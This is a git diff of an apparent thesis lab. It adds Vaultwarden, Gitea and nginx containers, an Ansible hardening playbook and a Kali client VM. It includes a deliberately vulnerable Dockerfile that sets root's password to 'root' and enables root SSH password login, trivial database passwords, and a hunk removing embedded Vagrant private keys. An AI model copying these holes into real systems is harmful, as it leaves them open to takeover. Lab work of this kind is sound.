+ vaultwarden:
+ image: vaultwarden/server:latest
+ container_name: vaultwarden
+ restart: unless-stopped
+ networks:
+ - internal
+ environment:
+ DOMAIN: "https://bitwarden.vm.local"
+ DATABASE_URL: "postgres://vaultwarden:vaultwarden@postgres:5432/vaultwarden"
+ volumes:
+ - ./vw-data/:/data/
+ expose:
+ - 80
+ extra_hosts:
+ - "postgres:172.18.0.1"
+ deploy:
+ resources:
+ limits:
+ memory: 256M
+ cpus: '0.25'
+ pids: 100
+ reservations:
+ memory: 128M
+ cpus: '0.10'
+
+ gitea:
+ image: docker.gitea.com/gitea:latest
+ container_name: gitea
+ environment:
+ - USER_UID=1000
+ - USER_GID=1000
+ - GITEA__database__DB_TYPE=postgres
+ - GITEA__database__HOST=postgres:5432
+ - GITEA__database__NAME=gitea
+ - GITEA__database__USER=gitea
+ - GITEA__database__PASSWD=gitea
+ - GITEA__security__INSTALL_LOCK=true
+ restart: unless-stopped
+ networks:
+ - internal
+ volumes:
+ - ./gitea:/data
+ - /etc/timezone:/etc/timezone:ro
+ - /etc/localtime:/etc/localtime:ro
+ expose:
+ - 3000
+ - 22
+ extra_hosts:
+ - "postgres:172.18.0.1"
+ healthcheck:
+ test: ["CMD", "curl", "-f", "http://localhost:3000/api/healthz"]
+ interval: 1m30s
+ timeout: 10s
+ retries: 3
+ deploy:
+ resources:
+ limits:
+ memory: 512M
+ cpus: '0.50'
+ pids: 100
+ reservations:
+ memory: 256M
+ cpus: '0.25'
+
+ nginx:
+ image: nginx:latest
+ container_name: nginx
+ restart: unless-stopped
+ networks:
+ - internal
+ volumes:
+ - ./nginx.conf:/etc/nginx/conf.d/default.conf
+ - ./nginx/certs:/etc/nginx/certs
+ ports:
+ - 0.0.0.0:80:80
+ - 0.0.0.0:443:443
+ deploy:
+ resources:
+ limits:
+ memory: 128M
+ cpus: '0.25'
+ pids: 100
+ reservations:
+ memory: 64M
+ cpus: '0.10'
+ read_only: true
+ tmpfs:
+ - /tmp
+ - /run
+ - /var/cache/nginx
+
+networks:
+ internal:
+ driver: bridge
+ ipam:
+ config:
+ - subnet: 172.18.0.0/16
+ gateway: 172.18.0.1
\ No newline at end of file
diff --git a/webserver/hardened/sandbox/nginx.conf b/webserver/hardened/sandbox/nginx.conf
new file mode 100644
index 0000000..91b5b1f
--- /dev/null
+++ b/webserver/hardened/sandbox/nginx.conf
@@ -0,0 +1,33 @@
+server {
+ listen 443 ssl;
+ server_name gitea.vm.local;
+
+ ssl_certificate /etc/nginx/certs/gitea.vm.local.pem;
+ ssl_certificate_key /etc/nginx/certs/gitea.vm.local-key.pem;
+
+ location / {
+ proxy_pass http://gitea:3000;
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ }
+}
+
+server {
+ listen 443 ssl;
+ server_name bitwarden.vm.local;
+
+ ssl_certificate /etc/nginx/certs/bitwarden.vm.local.pem;
+ ssl_certificate_key /etc/nginx/certs/bitwarden.vm.local-key.pem;
+
+ location / {
+ proxy_pass http://vaultwarden:80;
+ proxy_set_header Host $host;
+ proxy_set_header X-Real-IP $remote_addr;
+ }
+}
+
+server {
+ listen 80;
+ server_name _;
+ return 301 https://$host$request_uri;
+}
diff --git a/webserver/hardened/sandbox/playbook.yml b/webserver/hardened/sandbox/playbook.yml
new file mode 100644
index 0000000..d6b212d
--- /dev/null
+++ b/webserver/hardened/sandbox/playbook.yml
@@ -0,0 +1,292 @@
+---
+- hosts: all
+ become: true
+ vars:
+ container_count: 1
+ default_container_name: docker
+ default_container_image: hello-world
+ default_container_command: sleep 1
+ tasks:
+ - name: Install required system packages
+ apt:
+ pkg:
+ - apt-transport-https
+ - ca-certificates
+ - curl
+ - software-properties-common
+ - virtualenv
+ - python3-psycopg2
+ - postgresql
+ - acl
+ - bc
+ - sysstat
+ - auditd
+ state: latest
+ update_cache: true
+
+ - name: Copy nginx conf
+ copy:
+ src: /vagrant/sandbox/nginx.conf
+ dest: /home/vagrant/nginx.conf
+
+ - name: Copy docker compose
+ copy:
+ src: /vagrant/sandbox/docker-compose.yml
+ dest: /home/vagrant/docker-compose.yml
+
+ - name: Ensure certs directory exists
+ file:
+ path: /home/vagrant/nginx/certs
+ state: directory
+ mode: '0755'
+
+ - name: Install mkcert dependencies
+ apt:
+ pkg:
+ - libnss3-tools
+ - ca-certificates
+ state: present
+ update_cache: yes
+
+ - name: Download mkcert binary
+ get_url:
+ url: https://github.com/FiloSottile/mkcert/releases/latest/download/mkcert-v1.4.4-linux-amd64
+ dest: /usr/local/bin/mkcert
+ mode: '0755'
+ register: mkcert_download
+
+ - name: Ensure mkcert CAROOT directory exists
+ file:
+ path: /home/vagrant/.local/share/mkcert
+ state: directory
+ mode: '0755'
+
+ - name: Initialize mkcert CA
+ command: mkcert -install
+ environment:
+ XDG_DATA_HOME: /home/vagrant/.local/share
+ CAROOT: /home/vagrant/.local/share/mkcert
+ args:
+ creates: /home/vagrant/.local/share/mkcert/rootCA.pem
+
+ - name: Generate cert for gitea.vm.local
+ command: >
+ mkcert
+ -cert-file /home/vagrant/nginx/certs/gitea.vm.local.pem
+ -key-file /home/vagrant/nginx/certs/gitea.vm.local-key.pem
+ gitea.vm.local
+ args:
+ creates: /home/vagrant/nginx/certs/gitea.vm.local.pem
+
+ - name: Generate cert for bitwarden.vm.local
+ command: >
+ mkcert
+ -cert-file /home/vagrant/nginx/certs/bitwarden.vm.local.pem
+ -key-file /home/vagrant/nginx/certs/bitwarden.vm.local-key.pem
+ bitwarden.vm.local
+ args:
+ creates: /home/vagrant/nginx/certs/bitwarden.vm.local.pem
+
+ - name: Ensure export directory exists
+ file:
+ path: /vagrant/shared/ca
+ state: directory
+ mode: '0755'
+
+ - name: Copy mkcert rootCA.pem to shared directory
+ copy:
+ src: /home/vagrant/.local/share/mkcert/rootCA.pem
+ dest: /vagrant/shared/ca/rootCA.pem
+ remote_src: yes
+
+ - name: Add Docker GPG apt Key
+ apt_key:
+ url: https://download.docker.com/linux/ubuntu/gpg
+ state: present
+
+ - name: Add Docker Repository
+ apt_repository:
+ repo: deb https://download.docker.com/linux/ubuntu focal stable
+ state: present
+
+ - name: Update apt and install docker-ce
+ apt:
+ pkg:
+ - docker-ce
+ - docker-compose-plugin
+ state: latest
+ update_cache: true
+
+ - name: Add 'vagrant' and 'git' users to docker group
+ user:
+ name: "{{ item }}"
+ groups: docker
+ append: yes
+ loop:
+ - vagrant
+ - git
+
+ - name: Create git user
+ user:
+ name: git
+ shell: /home/git/docker-shell
+ home: /home/git
+ create_home: yes
+
+ - name: Deploy docker passthrough shell
+ copy:
+ dest: /home/git/docker-shell
+ content: |
+ #!/bin/sh
+ exec /usr/bin/docker exec -i -u git --env SSH_ORIGINAL_COMMAND="$SSH_ORIGINAL_COMMAND" gitea sh "$@"
+ mode: '0755'
+
+ - name: Update SSH config for git user
+ blockinfile:
+ path: /etc/ssh/sshd_config
+ block: |
+ Match User git
+ AuthorizedKeysCommandUser git
+ AuthorizedKeysCommand /usr/bin/docker exec -i -u git gitea /usr/local/bin/gitea keys -c /data/gitea/conf/app.ini -e git -u %u -t %t -k %k
+
+ - name: Restart SSH
+ service:
+ name: ssh
+ state: restarted
+
+ - name: Ensure PostgreSQL service is running
+ service:
+ name: postgresql
+ state: started
+ enabled: yes
+
+ - name: Create PostgreSQL user for gitea
+ become: true
+ become_user: postgres
+ postgresql_user:
+ name: gitea
+ password: gitea
+ state: present
+
+ - name: Create PostgreSQL database for gitea
+ become: true
+ become_user: postgres
+ postgresql_db:
+ name: gitea
+ owner: gitea
+ state: present
+
+ - name: Create PostgreSQL user for vaultwarden
+ become: true
+ become_user: postgres
+ postgresql_user:
+ name: vaultwarden
+ password: vaultwarden
+ state: present
+
+ - name: Create PostgreSQL database for vaultwarden
+ become: true
+ become_user: postgres
+ postgresql_db:
+ name: vaultwarden
+ owner: vaultwarden
+ state: present
+
+ - name: Set PostgreSQL to listen on localhost and Docker bridge IP
+ become: yes
+ lineinfile:
+ path: /etc/postgresql/14/main/postgresql.conf
+ regexp: '^#?listen_addresses\s*='
+ line: "listen_addresses = 'localhost,172.18.0.1'"
+ notify: Restart PostgreSQL
+
+ - name: Allow connections from Docker subnet in pg_hba.conf
+ become: yes
+ lineinfile:
+ path: /etc/postgresql/14/main/pg_hba.conf
+ line: 'host all all 172.18.0.0/16 md5'
+ create: yes
+ insertafter: EOF
+ state: present
+ notify: Restart PostgreSQL
+
+ - name: Configure audit rules for Docker
+ copy:
+ dest: /etc/audit/rules.d/docker.rules
+ owner: root
+ group: root
+ mode: '0640'
+ content: |
+ -w /usr/bin/dockerd -k docker
+ -w /run/containerd -k docker
+ -w /var/lib/docker -k docker
+ -w /etc/docker -k docker
+ -w /lib/systemd/system/docker.service -k docker
+ -w /run/containerd/containerd.sock -k docker
+ -w /var/run/docker.sock -k docker
+ -w /etc/default/docker -k docker
+ -w /etc/docker/daemon.json -k docker
+ -w /etc/containerd/config.toml -k docker
+ -w /etc/sysconfig/docker -k docker
+ -w /usr/bin/containerd -k docker
+ -w /usr/bin/containerd-shim -k docker
+ -w /usr/bin/containerd-shim-runc-v1 -k docker
+ -w /usr/bin/containerd-shim-runc-v2 -k docker
+ -w /usr/bin/runc -k docker
+ -w /usr/lib/systemd/system/docker.socket -k docker
+ -w /usr/bin/containerd -k docker
+ -w /usr/bin/containerd-shim -k docker
+ -w /usr/bin/containerd-shim-runc-v1 -k docker
+ -w /usr/bin/containerd-shim-runc-v2 -k docker
+ -w /usr/bin/runc -k docker
+
+ - name: Restart auditd to apply new rules
+ service:
+ name: auditd
+ state: restarted
+ enabled: yes
+
+ - name: Ensure Docker daemon configuration is hardened
+ copy:
+ dest: /etc/docker/daemon.json
+ owner: root
+ group: root
+ mode: '0644'
+ content: |
+ {
+ "live-restore": true,
+ "icc": false,
+ "no-new-privileges": true,
+ "log-level": "info",
+ "log-driver": "json-file",
+ "log-opts": {
+ "max-size": "10m",
+ "max-file": "3"
+ },
+ "userland-proxy": false
+ }
+ notify: Restart Docker
+
+ - name: Ensure Docker service is running
+ service:
+ name: docker
+ state: started
+ enabled: true
+
+ - name: Run docker compose up -d
+ command: docker compose up -d
+ args:
+ chdir: /home/vagrant
+
+ handlers:
+ - name: Restart PostgreSQL
+ become: yes
+ service:
+ name: postgresql
+ state: restarted
+
+ - name: Restart Docker
+ become: yes
+ systemd:
+ name: docker
+ state: restarted
\ No newline at end of file
diff --git a/webserver/hardened/sandbox/vuln/Dockerfile b/webserver/hardened/sandbox/vuln/Dockerfile
new file mode 100644
index 0000000..24e7854
--- /dev/null
+++ b/webserver/hardened/sandbox/vuln/Dockerfile
@@ -0,0 +1,9 @@
+FROM ubuntu:22.04
+RUN apt update && apt install -y openssh-server
+RUN echo 'root:root' | chpasswd
+RUN sed -i 's/#\?PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config && \
+ sed -i 's/#\?PasswordAuthentication .*/PasswordAuthentication yes/' /etc/ssh/sshd_config
+
+RUN mkdir /var/run/sshd
+EXPOSE 22
+CMD ["/usr/sbin/sshd", "-D"]
\ No newline at end of file
diff --git a/webserver/hybrid.patch b/webserver/hybrid.patch
index 4b629a3..c606c07 100644
--- a/webserver/hybrid.patch
+++ b/webserver/hybrid.patch
@@ -1,6 +1,6 @@
diff --color -ruN base/sandbox/docker-compose.yml hybrid/sandbox/docker-compose.yml
--- base/sandbox/docker-compose.yml 2025-05-16 19:46:23.713755709 +0200
-+++ hybrid/sandbox/docker-compose.yml 2025-05-16 20:37:19.376016608 +0200
++++ hybrid/sandbox/docker-compose.yml 2025-05-18 15:04:00.800680098 +0200
@@ -4,28 +4,16 @@
container_name: vaultwarden
restart: unless-stopped
@@ -78,7 +78,7 @@ diff --color -ruN base/sandbox/docker-compose.yml hybrid/sandbox/docker-compose.
- 2222:22
networks:
- - nginx
-+ - default
++ - internal
+ extra_hosts:
+ - "postgres:172.18.0.1"
@@ -110,8 +110,8 @@ diff --color -ruN base/sandbox/docker-compose.yml hybrid/sandbox/docker-compose.
+ gateway: 172.18.0.1
\ No newline at end of file
diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
---- base/sandbox/playbook.yml 2025-05-16 14:24:38.114525247 +0200
-+++ hybrid/sandbox/playbook.yml 2025-05-16 20:46:03.184604976 +0200
+--- base/sandbox/playbook.yml 2025-05-17 15:34:39.895845622 +0200
++++ hybrid/sandbox/playbook.yml 2025-05-17 15:34:46.781062066 +0200
@@ -15,6 +15,9 @@
- curl
- software-properties-common
@@ -119,10 +119,10 @@ diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
+ - python3-psycopg2
+ - postgresql
+ - acl
+ - bc
+ - sysstat
state: latest
- update_cache: true
-
-@@ -148,6 +151,62 @@
+@@ -150,6 +153,62 @@
name: ssh
state: restarted
@@ -185,7 +185,7 @@ diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
- name: Ensure Docker service is running
service:
name: docker
-@@ -157,4 +216,12 @@
+@@ -159,4 +218,12 @@
- name: Run docker compose up -d
command: docker compose up -d
args:
@@ -201,177 +201,3 @@ diff --color -ruN base/sandbox/playbook.yml hybrid/sandbox/playbook.yml
+ name: postgresql
+ state: restarted
\ No newline at end of file
-diff --color -ruN base/shared/ca/rootCA.pem hybrid/shared/ca/rootCA.pem
---- base/shared/ca/rootCA.pem 2025-05-16 14:13:52.000000000 +0200
-+++ hybrid/shared/ca/rootCA.pem 2025-05-16 20:48:56.000000000 +0200
-@@ -1,26 +1,26 @@
- -----BEGIN CERTIFICATE-----
--MIIEeTCCAuGgAwIBAgIQCbH+Liv4sQVPc8WF+RDDnTANBgkqhkiG9w0BAQsFADBV
--MR4wHAYDVQQKExVta2NlcnQgZGV2ZWxvcG1lbnQgQ0ExFTATBgNVBAsMDHJvb3RA
--c2FuZGJveDEcMBoGA1UEAwwTbWtjZXJ0IHJvb3RAc2FuZGJveDAeFw0yNTA1MTYx
--MjEzNTJaFw0zNTA1MTYxMjEzNTJaMFUxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9w
--bWVudCBDQTEVMBMGA1UECwwMcm9vdEBzYW5kYm94MRwwGgYDVQQDDBNta2NlcnQg
--cm9vdEBzYW5kYm94MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEA6oue
--J4Wg4kPEewbZOg6fw+so6rcP8wfsBSiZYlJfe8RpTZe4UzUFKpairLrs0ghqgwSN
--GoTn3UlolEilXm3nhuwhQZ2FUluO42RyQJcxXlOKMd3yhSyf3WgsC/8WktgqsjHY
--n1msUZ3YdFKc6SSnZVLQRj1/Eoj8N/b/sBqpkTFp5A/TpMizzmzx8k8rOhQVxvLy
--ZbXJt2jXxM66+7tnSXFyZFp0SGTniJfGP6QhpBTtHyUEGU/IbmTOEOUHydKkBADH
--r+/e6P3bb8hGmW66ksLiytzBiJuY3N+Rps1a7t+0+ZBHQxW5o2ZwmvbsWuqYpbB4
--y/xM/IuK60kM8WTFJm83ggAk2Lf4DY75OqMhw0SBEU095fJnMMnmWLtqvDdDtZaR
--jZ9X1NuXRTk2WuwVVIiBwJ946qH5SUdsxfyOF2QeeX73snX8fKFmQ4Eoq0c+CnbB
--FXh/gWNmlSpTN7x3j/Jnr/15HcAZeB2fA09ZVmXKbzat+mELUb/CQgrIYgGpAgMB
--AAGjRTBDMA4GA1UdDwEB/wQEAwICBDASBgNVHRMBAf8ECDAGAQH/AgEAMB0GA1Ud
--DgQWBBSSDE7+6Nbyr0SAytNA8cqlQbckPzANBgkqhkiG9w0BAQsFAAOCAYEA2s0z
--ijDpyTdNviZZhxcHydGkSEJkOwJVsN5DVVksKrWKlcDR9f0NCYLxA1IGhaNYVg3Y
--ipeAqAgqjauM71z/UvC3BrIOJhXa5lXqi36Syw9BFlUF0KH48BnklJpJfmdcRQ+T
--mQf52TNFr39pBTrCjvlIGm6aMvGy+TWyuwo+GO1GyBRVT9fiD988uPNIFSNCFJWp
--87xNfl+qdZxDIdYr4qh12t4y7IKziklAC+P0oAnNXcVGomACW7p+VqeLineYOaNJ
--1NfEiZZ+SJ6U9KmEOuFIwPx8cSVzmbfA6V+kE6ZL4KQjRGwAJr3uQmgEvA9LTz+L
--U4aYk/Nsue2xXRN72XG42FARZ68DftqH6Csi+BNWX0BpB4ph5Ue8rdrYt+97nVX7
--iRN1+lXx3xjxv80gh20iCOAEyq6Z+gblgCf19x1K7hVSFI/iuTXq0TYLdLM36mhi
--pIa3uAsYU9lPn5Vig1GptLN7dg9cXmBkkZnShrNsAGi2G6qJYMQ+50So3Btk
-+MIIEejCCAuKgAwIBAgIRAK9Fw1j5+aJLyagdMqeXZ4YwDQYJKoZIhvcNAQELBQAw
-+VTEeMBwGA1UEChMVbWtjZXJ0IGRldmVsb3BtZW50IENBMRUwEwYDVQQLDAxyb290
-+QHNhbmRib3gxHDAaBgNVBAMME21rY2VydCByb290QHNhbmRib3gwHhcNMjUwNTE2
-+MTg0ODU2WhcNMzUwNTE2MTg0ODU2WjBVMR4wHAYDVQQKExVta2NlcnQgZGV2ZWxv
-+cG1lbnQgQ0ExFTATBgNVBAsMDHJvb3RAc2FuZGJveDEcMBoGA1UEAwwTbWtjZXJ0
-+IHJvb3RAc2FuZGJveDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAJy3
-+m1f1srCfFhP6gB0Ov6jXev/B9YJeAbFZxafprUVRIUVwepAlteYTq5fcYtpOUKhR
-+SW8aYuHi6nVuOSJhXgrDvp+eVm0cgyiklO063a/XCU5hmFPvULqkKvSaGl3hF/2A
-+Ya51fsO/P9IqruaBJEKsBovVPCa/GMpnF8EbGbL3lWLMWeQZLCpoFoT1gAmJOyWd
-+TUX9MBuxVMJxwyugliUjPPWOrvuH3u5vaDKB2LBkHUmG2cGDRfKzf1Q5Z6vT4DNL
-+EstSD3T2DDIVYtnHr42HKMC/kYK1SKaiH+8lvTtEjKMR1T4L4Bv6AkEKuLdiy20Q
-++5SPiUqCq8+EpDOrbJM8RKR+K7Y3g52iZDyTNoz+j99oBB+Kovnj7sn9OH2ZyjBb
-++9pKjzx5l/d6EbobVvZwhXIkd/zF3Nhifm9v0WTN+yuCaznLzoqufSFhFZ3yOvPN
-+iW1FhisLIGaE33HQgfSG8P/RGMx//37eDRjZ5pvr78pS5N265SzkXneHD/i0fQID
-+AQABo0UwQzAOBgNVHQ8BAf8EBAMCAgQwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNV
-+HQ4EFgQUN7MwujcQvMi1b6VUfCip3TiLwBcwDQYJKoZIhvcNAQELBQADggGBAGHv
-+XUwADq1UdY6mz3+4zk823Hd45BqDX0GHX4mamGkck0n+6f4dhEHsKsvp/ULzY2/E
-+wW5jVCEs/qNGY2U8iqpV/B7ldne5/nugF0rXFfKcVNRi9qLr2KJYZxeKFnbUgDeJ
-+VNrf7hCp8hrwSlwmF8DxdST+ZdtJk2optf5CJ+6pj+k67o7em/4pRgCQX9oy/n/4
-+NHORnypwVOsEjh4j7qFSxJ44fDpSO3EzOmTdnIxeNVnb5IaY40qkCwCUlQXwjBYh
-+Ws0ryqRsaENbBtlZh3ZrJxRDBQhzi145xXujkaDs83vAc5QVoGYXrlF/1uHFUBNc
-+Suk++hOA1Y32dwOAkZZhzheZGOu8Jq0+dTsXDqM7aGeu/MfBVLBgZTUz7DumAzLT
-+Mfr6h9069fi50G3cqzAkhmUDSUwwJsGyGCHzulJyt5rEk9mxogPT2L5bVHmt2L8K
-+kLiPaz2BOiSLJCxlhChBKxSQB8gSHLUR6NS4A+3L8sBA7tU0xwmq5Y7AgdTY2Q==
- -----END CERTIFICATE-----
-diff --color -ruN base/.vagrant/machines/client/virtualbox/action_provision hybrid/.vagrant/machines/client/virtualbox/action_provision
---- base/.vagrant/machines/client/virtualbox/action_provision 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/client/virtualbox/action_provision 2025-05-16 19:37:10.086762165 +0200
-@@ -0,0 +1 @@
-+1.5:e88dc80c-9521-4f90-95d5-4fb243f94f47
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/client/virtualbox/action_set_name hybrid/.vagrant/machines/client/virtualbox/action_set_name
---- base/.vagrant/machines/client/virtualbox/action_set_name 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/client/virtualbox/action_set_name 2025-05-16 19:35:00.996251945 +0200
-@@ -0,0 +1 @@
-+1747416900
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/client/virtualbox/box_meta hybrid/.vagrant/machines/client/virtualbox/box_meta
---- base/.vagrant/machines/client/virtualbox/box_meta 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/client/virtualbox/box_meta 2025-05-16 19:37:05.102859035 +0200
-@@ -0,0 +1 @@
-+{"name":"kalilinux/rolling","version":"2025.1.0","provider":"virtualbox","directory":"boxes/kalilinux-VAGRANTSLASH-rolling/2025.1.0/amd64/virtualbox"}
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/client/virtualbox/creator_uid hybrid/.vagrant/machines/client/virtualbox/creator_uid
---- base/.vagrant/machines/client/virtualbox/creator_uid 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/client/virtualbox/creator_uid 2025-05-16 19:35:00.360264104 +0200
-@@ -0,0 +1 @@
-+1000
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/client/virtualbox/id hybrid/.vagrant/machines/client/virtualbox/id
---- base/.vagrant/machines/client/virtualbox/id 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/client/virtualbox/id 2025-05-16 19:35:00.360264104 +0200
-@@ -0,0 +1 @@
-+e88dc80c-9521-4f90-95d5-4fb243f94f47
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/client/virtualbox/index_uuid hybrid/.vagrant/machines/client/virtualbox/index_uuid
---- base/.vagrant/machines/client/virtualbox/index_uuid 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/client/virtualbox/index_uuid 2025-05-16 19:35:00.365264008 +0200
-@@ -0,0 +1 @@
-+7c7ce4783d7f48b28436a1de850ba957
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/client/virtualbox/private_key hybrid/.vagrant/machines/client/virtualbox/private_key
---- base/.vagrant/machines/client/virtualbox/private_key 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/client/virtualbox/private_key 2025-05-16 19:35:28.005734548 +0200
-@@ -0,0 +1,8 @@
-+-----BEGIN OPENSSH PRIVATE KEY-----
-+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAA
-+AAtzc2gtZWQyNTUxOQAAACCDja7QoNOjkzrCeE3ghwFsylAHTdTrCFWoRVso
-+r87iMwAAAJCuEJUOrhCVDgAAAAtzc2gtZWQyNTUxOQAAACCDja7QoNOjkzrC
-+eE3ghwFsylAHTdTrCFWoRVsor87iMwAAAEC0o0rgBdsIVpUoatFV67Dw4ZyG
-+PT5Q/3Sfiy88ShdsYYONrtCg06OTOsJ4TeCHAWzKUAdN1OsIVahFWyivzuIz
-+AAAAB3ZhZ3JhbnQBAgMEBQY=
-+-----END OPENSSH PRIVATE KEY-----
-diff --color -ruN base/.vagrant/machines/client/virtualbox/synced_folders hybrid/.vagrant/machines/client/virtualbox/synced_folders
---- base/.vagrant/machines/client/virtualbox/synced_folders 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/client/virtualbox/synced_folders 2025-05-16 19:37:09.104781255 +0200
-@@ -0,0 +1 @@
-+{"virtualbox":{"/vagrant":{"guestpath":"/vagrant","hostpath":"/home/nano/Documents/bachthesis/setup/webserver/hybrid","disabled":false,"__vagrantfile":true}}}
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/client/virtualbox/vagrant_cwd hybrid/.vagrant/machines/client/virtualbox/vagrant_cwd
---- base/.vagrant/machines/client/virtualbox/vagrant_cwd 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/client/virtualbox/vagrant_cwd 2025-05-16 19:34:14.358140414 +0200
-@@ -0,0 +1 @@
-+/home/nano/Documents/bachthesis/setup/webserver/hybrid
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/action_provision hybrid/.vagrant/machines/sandbox/virtualbox/action_provision
---- base/.vagrant/machines/sandbox/virtualbox/action_provision 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/sandbox/virtualbox/action_provision 2025-05-16 20:47:43.933737193 +0200
-@@ -0,0 +1 @@
-+1.5:c759b140-fa01-4cb9-9e78-1bbbb473e28b
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/action_set_name hybrid/.vagrant/machines/sandbox/virtualbox/action_set_name
---- base/.vagrant/machines/sandbox/virtualbox/action_set_name 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/sandbox/virtualbox/action_set_name 2025-05-16 20:47:16.586245129 +0200
-@@ -0,0 +1 @@
-+1747421236
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/box_meta hybrid/.vagrant/machines/sandbox/virtualbox/box_meta
---- base/.vagrant/machines/sandbox/virtualbox/box_meta 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/sandbox/virtualbox/box_meta 2025-05-16 20:47:39.050827934 +0200
-@@ -0,0 +1 @@
-+{"name":"ubuntu/jammy64","version":"20241002.0.0","provider":"virtualbox","directory":"boxes/ubuntu-VAGRANTSLASH-jammy64/20241002.0.0/virtualbox"}
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/creator_uid hybrid/.vagrant/machines/sandbox/virtualbox/creator_uid
---- base/.vagrant/machines/sandbox/virtualbox/creator_uid 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/sandbox/virtualbox/creator_uid 2025-05-16 20:47:15.934257231 +0200
-@@ -0,0 +1 @@
-+1000
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/id hybrid/.vagrant/machines/sandbox/virtualbox/id
---- base/.vagrant/machines/sandbox/virtualbox/id 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/sandbox/virtualbox/id 2025-05-16 20:47:15.934257231 +0200
-@@ -0,0 +1 @@
-+c759b140-fa01-4cb9-9e78-1bbbb473e28b
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/index_uuid hybrid/.vagrant/machines/sandbox/virtualbox/index_uuid
---- base/.vagrant/machines/sandbox/virtualbox/index_uuid 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/sandbox/virtualbox/index_uuid 2025-05-16 20:47:15.941257101 +0200
-@@ -0,0 +1 @@
-+a2ce833661ec4d9ebcd90af9f8d9d658
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/private_key hybrid/.vagrant/machines/sandbox/virtualbox/private_key
---- base/.vagrant/machines/sandbox/virtualbox/private_key 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/sandbox/virtualbox/private_key 2025-05-16 20:47:36.529874774 +0200
-@@ -0,0 +1,8 @@
-+-----BEGIN OPENSSH PRIVATE KEY-----
-+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAA
-+AAtzc2gtZWQyNTUxOQAAACCoHi4Q+gsoRdbgU6yQJUpj6kOm8/oIzTJC9uaU
-+O8VkWgAAAJCfxk0Yn8ZNGAAAAAtzc2gtZWQyNTUxOQAAACCoHi4Q+gsoRdbg
-+U6yQJUpj6kOm8/oIzTJC9uaUO8VkWgAAAEAR2S8XEN4rdFqnz7eKsrzkvU01
-+aWQNxaNVNcNGrOilrqgeLhD6CyhF1uBTrJAlSmPqQ6bz+gjNMkL25pQ7xWRa
-+AAAAB3ZhZ3JhbnQBAgMEBQY=
-+-----END OPENSSH PRIVATE KEY-----
-diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/synced_folders hybrid/.vagrant/machines/sandbox/virtualbox/synced_folders
---- base/.vagrant/machines/sandbox/virtualbox/synced_folders 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/sandbox/virtualbox/synced_folders 2025-05-16 20:47:43.000754532 +0200
-@@ -0,0 +1 @@
-+{"virtualbox":{"/vagrant":{"guestpath":"/vagrant","hostpath":"/home/nano/Documents/bachthesis/setup/webserver/hybrid","disabled":false,"__vagrantfile":true}}}
-\ No newline at end of file
-diff --color -ruN base/.vagrant/machines/sandbox/virtualbox/vagrant_cwd hybrid/.vagrant/machines/sandbox/virtualbox/vagrant_cwd
---- base/.vagrant/machines/sandbox/virtualbox/vagrant_cwd 1970-01-01 01:00:00.000000000 +0100
-+++ hybrid/.vagrant/machines/sandbox/virtualbox/vagrant_cwd 2025-05-16 20:47:11.366181414 +0200
-@@ -0,0 +1 @@
-+/home/nano/Documents/bachthesis/setup/webserver/hybrid
-\ No newline at end of file
diff --git a/webserver/hybrid2/Vagrantfile b/webserver/hybrid2/Vagrantfile
new file mode 100644
index 0000000..296c621
--- /dev/null
+++ b/webserver/hybrid2/Vagrantfile
@@ -0,0 +1,61 @@
+Vagrant.configure("2") do |config|
+
+ BOX_NAME = "ubuntu/jammy64"
+ BOX_VERSION = "20241002.0.0"
+
+ DESKTOP_BOX_NAME = "kalilinux/rolling"
+ DESKTOP_BOX_VERSION = "2025.1.0"
+
+ config.vm.define "sandbox" do |sandbox|
